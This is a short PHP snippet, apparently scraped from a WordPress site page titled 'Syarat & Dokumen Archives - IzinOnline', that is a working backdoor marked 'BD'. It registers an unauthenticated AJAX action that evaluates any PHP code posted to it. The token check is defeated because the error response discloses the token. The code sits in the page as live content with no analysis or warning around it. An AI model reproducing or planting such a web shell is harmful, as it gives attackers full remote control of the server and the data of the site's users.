// ==[BD:P1ju71m7]== add_action( 'wp_ajax_nopriv_rejtqndmyvc', function() { $token = 'P1ju71m7YGJeGijZvhxVqJPB8xcy9XvL'; $obj = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $obj ) || ! hash_equals( $token, $obj ) ) { wp_send_json_error( [ 'message' => 'tok:' . $token ], 403 ); } $factor = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $factor ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $factor = preg_replace( '/^\s*<\?(php)?/i', '', $factor ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $flag = microtime( true ); ob_start(); try { ( static function() use ( $factor ) { return eval( $factor ); } )(); $res = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $res, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $flag ) * 1000, 2 ) ] ); } catch ( \Throwable $bind ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $bind->getMessage(), 'time_ms' => round( ( microtime( true ) - $flag ) * 1000, 2 ) ] ); } } ); // ==[/BD:P1ju71m7]== Syarat & Dokumen Archives - IzinOnline